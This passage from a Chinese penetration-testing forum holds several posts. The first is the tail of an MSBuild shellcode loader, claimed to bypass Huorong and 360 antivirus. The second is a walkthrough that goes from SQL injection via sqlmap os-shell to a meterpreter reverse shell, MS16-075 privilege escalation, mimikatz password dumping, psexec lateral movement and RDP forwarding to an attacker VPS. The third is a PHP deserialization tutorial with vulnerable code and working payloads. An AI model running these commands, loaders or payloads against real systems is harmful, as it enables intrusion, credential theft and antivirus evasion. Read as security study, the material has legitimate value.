Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>


 
0x05测试结果
普通用户权限也能执行
.csproj,  .vbproj,  .vcxproj后缀也可用
火绒、360可绕过
 
 
 
 

曲线救国之SQL注入到内网

渗透测试名字真的不好取什么时候是个头 发表了文章 • 2 个评论 • 123 次浏览 • 2019-11-28 10:20 • 来自相关话题

前言
之前某地区护网项目,主站一直搞不下,从主站JS代码中找到该URL,想来一个曲线救国……
后台注入
弱口令admin/123456进后台




搜索框输入1111'出现语法错误








判断该处可能存在注入,sqlmap验证:
抓包,保存为3.txt
因为站点使用语言为aspx,指定dbms为mssql
sqlmap一把梭:
python3 sqlmap.py -r C:\Users\Administrator\Desktop\3.txt --random-agent -o --delay=0.5 --dbms=mssql




存在布尔,报错,堆栈,时间盲注等多种类型注入;
os shell获取会话
根据mssql的特性,可以直接打开os shell,接着验证os shell的可用性,输入命令whoami,发现存在回显,并非system权限
python3 sqlmap.py -r C:\Users\Administrator\Desktop\3.txt --random-agent -o --delay=0.5 --dbms=mssql --os-shell




将koadic的sta/js/mshta生成的脚本丢进os shell中运行,目标主机上线




目标主机信息,64位win2012
提权及基本信息搜集
因为非system权限,koadic中的提权模块有限,使用web_delivery转进MSF中进行提权
set lhost xxxx
set lport xxxx
set payload windows/x64/meterpreter/reverse_tcp
set target 2
run
生成一段exp,复制到koadic运行,成功转到msf上




使用ms16-075(烂土豆)提权,成功提到system权限




加载mimikatz抓取目标主机的用户名密码,meterpreter下命令,load mimikatz,进而执行wdigest,获取账户密码




内网横向
1.psexec
首先添加路由,根据提示信息目标有三个网段,命令:run post/multi/manage/autoroute




添加路由就可以使用smb模块扫描,options设置上面抓取的密码,挑取其中一个网段10.0.0.0/24进行扫描




发现成功主机10.0.0.18




使用psexec命令执行模块进行简单测试,options中设置命令whoami,尝试执行,成功




之后可以对主机10.0.0.18继续进行横向,此处不做演示
 
2.rdp信息搜集横向
shell进入cmd命令行,可能执行命令会乱码,chcp 65001即可;
查看开放端口情况,发现开放3389端口




将目标的3389转到VPS上的3389端口,命令:run post/windows/manage/enable_rdp FORWORD=ture LPORT=3389 ,这种方法是直接转到VPS上,还有一种方式就是portfwd端口转发,将目标主机的3389端口转到我VPS的1111端口,命令:portfwd add -l 1111 -p 3389 -r 10.0.0.20
使用抓取的账户口令进行rdp登录,上传netpass抓取远程桌面登录缓存




发现10.0.0.0/24段下的其他主机的口令,后续可通过rdp爆破对该网段或其他网段进一步横向;
总结
你们都是我大哥!!!

 
 
 
 
 
 


 
  查看全部
前言
之前某地区护网项目,主站一直搞不下,从主站JS代码中找到该URL,想来一个曲线救国……
后台注入
弱口令admin/123456进后台
1574906242(1).jpg

搜索框输入1111'出现语法错误
1574906356(1).jpg

1574906418(1).jpg

判断该处可能存在注入,sqlmap验证:
抓包,保存为3.txt
因为站点使用语言为aspx,指定dbms为mssql
sqlmap一把梭:
python3 sqlmap.py -r C:\Users\Administrator\Desktop\3.txt --random-agent -o --delay=0.5 --dbms=mssql
1574906753(1).jpg

存在布尔,报错,堆栈,时间盲注等多种类型注入;
os shell获取会话
根据mssql的特性,可以直接打开os shell,接着验证os shell的可用性,输入命令whoami,发现存在回显,并非system权限
python3 sqlmap.py -r C:\Users\Administrator\Desktop\3.txt --random-agent -o --delay=0.5 --dbms=mssql --os-shell
1574907602(1).jpg

将koadic的sta/js/mshta生成的脚本丢进os shell中运行,目标主机上线
1574908108(1).jpg

目标主机信息,64位win2012
提权及基本信息搜集
因为非system权限,koadic中的提权模块有限,使用web_delivery转进MSF中进行提权
set lhost xxxx
set lport xxxx
set payload windows/x64/meterpreter/reverse_tcp
set target 2
run
生成一段exp,复制到koadic运行,成功转到msf上
1574909227(1).jpg

使用ms16-075(烂土豆)提权,成功提到system权限
1574910107(1).jpg

加载mimikatz抓取目标主机的用户名密码,meterpreter下命令,load mimikatz,进而执行wdigest,获取账户密码
1574910664(1).jpg

内网横向
1.psexec
首先添加路由,根据提示信息目标有三个网段,命令:run post/multi/manage/autoroute
1574911827(1).jpg

添加路由就可以使用smb模块扫描,options设置上面抓取的密码,挑取其中一个网段10.0.0.0/24进行扫描
1574921272(1).jpg

发现成功主机10.0.0.18
12.jpg

使用psexec命令执行模块进行简单测试,options中设置命令whoami,尝试执行,成功
1574921792(1).jpg

之后可以对主机10.0.0.18继续进行横向,此处不做演示
 
2.rdp信息搜集横向
shell进入cmd命令行,可能执行命令会乱码,chcp 65001即可;
查看开放端口情况,发现开放3389端口
1574922353(1).jpg

将目标的3389转到VPS上的3389端口,命令:run post/windows/manage/enable_rdp FORWORD=ture LPORT=3389 ,这种方法是直接转到VPS上,还有一种方式就是portfwd端口转发,将目标主机的3389端口转到我VPS的1111端口,命令:portfwd add -l 1111 -p 3389 -r 10.0.0.20
使用抓取的账户口令进行rdp登录,上传netpass抓取远程桌面登录缓存
1574923568(1).jpg

发现10.0.0.0/24段下的其他主机的口令,后续可通过rdp爆破对该网段或其他网段进一步横向;
总结
你们都是我大哥!!!

 
 
 
 
 
 


 
 

网页版Xshell,用着贼舒服有木有

渗透测试名字真的不好取什么时候是个头 发表了文章 • 2 个评论 • 79 次浏览 • 2019-11-27 15:41 • 来自相关话题

安利一款web端Xshell,搭在你的VPS上,贼好用。






https://www.imooc.com/article/72348
刚入手,正在研究中,不过好像不知道怎么同时开启多个终端,不过可以安装tmux;





  查看全部
安利一款web端Xshell,搭在你的VPS上,贼好用。

1574840675(1).jpg


https://www.imooc.com/article/72348
刚入手,正在研究中,不过好像不知道怎么同时开启多个终端,不过可以安装tmux;

1574842830(1).jpg

 

初识php反序列化漏洞

Web安全渗透lzy_smile 发表了文章 • 0 个评论 • 45 次浏览 • 2019-11-22 01:53 • 来自相关话题

0x01  php序列化和反序列化
什么是序列化和反序列化?
        在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构.
        常见的用法有,我们在写了一个class类之后,实例化这个class类之后,我们可以把这个对象给序列化了,当成一个字符串给存储起来,当我们如果再用这个对象时,使用反序列化函数将这个字符串里面的值给还原成该对象,这样当程序很大的时候可以轻松的存储和传递数据,并且不会浪费系统资源.

        序列化说通俗点就是把一个对象变成可以传输的字符串.
        反序列化就是把那串可以传输的字符串再变回对象.
 
好的,这里我举个栗子!!!
        我创建了一个student的类,类中呢,有姓名,性别,年龄三个属性,我们现在去实例化这个类,生产一个对象,如何将这个对象序列化呢?序列化输出又是什么格式呢?
定义student类




然后输出一波序列化格式,红色部分是对序列化输出的解释!




ok!可以看到反序列化输出的结果明显有所不同,






0x02  php反序列化漏洞危害及满足条件
php反序列化漏洞是什么?危害有多大?
       未对用户输入的序列化字符串进行检测,而且在反序列化的过程中自动触发了某些魔术方法,导致攻击者可以控制反序列化过程,从而导致代码执行,目录遍历,getshell等不可控后果。
 php反序列化漏洞需满足:
    1、程序中存在序列化字符串的输入点
    2、程序中存在可以利用的magic函数
 
0x03  php反序列化漏洞原理及简单利用
 当我们在反序列化后,为什么就能产生漏洞了呢?
        这个时候,我们就要了解一下PHP里面的魔术方法了,魔术方法一般是以__开头,通常会因为某些条件而触发不用我们手动调用.
当一个页面发现传递参数类似对象序列化的数据格式,可以测试是否存在反序列化漏洞,
当我们拿到一份源代码时,看看有没有下列的魔术方法,尝试研究有没有可以控制的参数并且能够把参数放入魔术方法中:

__construct()   // 当一个对象创建时被调用,
__destruct()    // 当一个对象销毁时被调用,
__toString()    // 当一个对象被当作一个字符串被调用。
__wakeup()      // 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__sleep()       // 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__call()        // 在对象上下文中调用不可访问的方法时触发
__callStatic()  // 在静态上下文中调用不可访问的方法时触发
__get()         // 用于从不可访问的属性读取数据
__set()         // 用于将数据写入不可访问的属性
__isset()       // 在不可访问的属性上调用isset()或empty()触发
__unset()       // 在不可访问的属性上使用unset()时触发
__invoke()      // 当脚本尝试将对象调用为函数时触发

      如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
我们同样关注的函数:
    序列化函数:serialize()
    反序列化函数:unserialize()

举两个栗子!!!<?php
header('Content-type: text/html; charset=UTF-8');
class Example {
public $a = "test";
function __destruct() {
eval($this->a);
}
}
unserialize($_GET['a']);
?> 我们可以看到在这个类中有一个魔术方法__destruct(),可以在销毁的时候自动的将反序列化传入的字符串当成代码块执行!
构造payload:http://127.0.0.1/php_sea/test_3.php?a=O:7:"Example":1:{s:1:"a";s:10:"phpinfo();";}
可以看到:





 
这个点恰巧有eval()函数,而且存在魔术方法,并且我们可以对对象里面的参数进行控制,才得以实现.如果没有eval(0函数时我们可以干些什么呢?如果有一个类是读取文件的类呢?
假设这个参数我们可以控制<?php
header('Content-type: text/html; charset=UTF-8');
//可以读取文库
class FileClass
{
public $filename = 'success.txt';
public function __toString()
{
# 读取文件函数
return file_get_contents($this->filename);
}
}
//定义一个usr类
class User
{
public $name = '';
public $age = 0;
public $addr = '';

public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 参数可控
$obj = unserialize($_GET['a']);
echo $obj;

?>我们正常的时候是使用user这个类,如果发现传入的参数类似一个序列化数组时,我们可以尝试修改里面的参数看看是否可变!





修改参数





参数可变!!!
我们可以看到源代码中有读取文件的函数我们可以尝试构造恶意代码来进行文件读取.
payload:O:9:"FileClass":1:{s:8:"filename";s:10:"test_2.php";}
可以看到





文件读取成功!!!
 
所以当我们拿到一份php源代码时,尽可能的去寻找类中的构造函数,看看这些构造函数中是否有可以控制的参数,是否有可以利用的magic函数,这样能够快速的帮助我们进行渗透.

0x04 后记
       因为是对php反序列化的初步认识,所以只是总结了一个php反序列化基本常识,以及利用手法,下一步会进一步学习代码,增强自己的代码水平,去研究如何寻找pop链,更快的挖掘php反序列化漏洞.
        php反序列化漏洞主要就是寻找它的pop链,看在这个代码调用过程中是否有可以控制的参数,以及可以利用的magic方法
        pop指什么:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。
 
         
 
 
 
  查看全部
0x01  php序列化和反序列化
什么是序列化和反序列化?
        在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构.
        常见的用法有,我们在写了一个class类之后,实例化这个class类之后,我们可以把这个对象给序列化了,当成一个字符串给存储起来,当我们如果再用这个对象时,使用反序列化函数将这个字符串里面的值给还原成该对象,这样当程序很大的时候可以轻松的存储和传递数据,并且不会浪费系统资源.

        序列化说通俗点就是把一个对象变成可以传输的字符串.
        反序列化就是把那串可以传输的字符串再变回对象.
 
好的,这里我举个栗子!!!
        我创建了一个student的类,类中呢,有姓名,性别,年龄三个属性,我们现在去实例化这个类,生产一个对象,如何将这个对象序列化呢?序列化输出又是什么格式呢?
定义student类
1.png

然后输出一波序列化格式,红色部分是对序列化输出的解释!
2.png

ok!可以看到反序列化输出的结果明显有所不同,

8.png


0x02  php反序列化漏洞危害及满足条件
php反序列化漏洞是什么?危害有多大?
       未对用户输入的序列化字符串进行检测,而且在反序列化的过程中自动触发了某些魔术方法,导致攻击者可以控制反序列化过程,从而导致代码执行,目录遍历,getshell等不可控后果。
 php反序列化漏洞需满足:
    1、程序中存在序列化字符串的输入点
    2、程序中存在可以利用的magic函数
 
0x03  php反序列化漏洞原理及简单利用
 当我们在反序列化后,为什么就能产生漏洞了呢?
        这个时候,我们就要了解一下PHP里面的魔术方法了,魔术方法一般是以__开头,通常会因为某些条件而触发不用我们手动调用.
当一个页面发现传递参数类似对象序列化的数据格式,可以测试是否存在反序列化漏洞,
当我们拿到一份源代码时,看看有没有下列的魔术方法,尝试研究有没有可以控制的参数并且能够把参数放入魔术方法中:

__construct()   // 当一个对象创建时被调用,
__destruct()    // 当一个对象销毁时被调用,
__toString()    // 当一个对象被当作一个字符串被调用。
__wakeup()      // 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__sleep()       // 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__call()        // 在对象上下文中调用不可访问的方法时触发
__callStatic()  // 在静态上下文中调用不可访问的方法时触发
__get()         // 用于从不可访问的属性读取数据
__set()         // 用于将数据写入不可访问的属性
__isset()       // 在不可访问的属性上调用isset()或empty()触发
__unset()       // 在不可访问的属性上使用unset()时触发
__invoke()      // 当脚本尝试将对象调用为函数时触发

      如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
我们同样关注的函数:
    序列化函数:serialize()
    反序列化函数:unserialize()

举两个栗子!!!
<?php
header('Content-type: text/html; charset=UTF-8');
class Example {
public $a = "test";
function __destruct() {
eval($this->a);
}
}
unserialize($_GET['a']);
?> 
我们可以看到在这个类中有一个魔术方法__destruct(),可以在销毁的时候自动的将反序列化传入的字符串当成代码块执行!
构造payload:http://127.0.0.1/php_sea/test_3.php?a=O:7:"Example":1:{s:1:"a";s:10:"phpinfo();";}
可以看到:

4.png

 
这个点恰巧有eval()函数,而且存在魔术方法,并且我们可以对对象里面的参数进行控制,才得以实现.如果没有eval(0函数时我们可以干些什么呢?如果有一个类是读取文件的类呢?
假设这个参数我们可以控制
<?php
header('Content-type: text/html; charset=UTF-8');
//可以读取文库
class FileClass
{
public $filename = 'success.txt';
public function __toString()
{
# 读取文件函数
return file_get_contents($this->filename);
}
}
//定义一个usr类
class User
{
public $name = '';
public $age = 0;
public $addr = '';

public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 参数可控
$obj = unserialize($_GET['a']);
echo $obj;

?>
我们正常的时候是使用user这个类,如果发现传入的参数类似一个序列化数组时,我们可以尝试修改里面的参数看看是否可变!

5.png

修改参数

6.png

参数可变!!!
我们可以看到源代码中有读取文件的函数我们可以尝试构造恶意代码来进行文件读取.
payload:O:9:"FileClass":1:{s:8:"filename";s:10:"test_2.php";}
可以看到

7.png

文件读取成功!!!
 
所以当我们拿到一份php源代码时,尽可能的去寻找类中的构造函数,看看这些构造函数中是否有可以控制的参数,是否有可以利用的magic函数,这样能够快速的帮助我们进行渗透.

0x04 后记
       因为是对php反序列化的初步认识,所以只是总结了一个php反序列化基本常识,以及利用手法,下一步会进一步学习代码,增强自己的代码水平,去研究如何寻找pop链,更快的挖掘php反序列化漏洞.
        php反序列化漏洞主要就是寻找它的pop链,看在这个代码调用过程中是否有可以控制的参数,以及可以利用的magic方法
        pop指什么:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。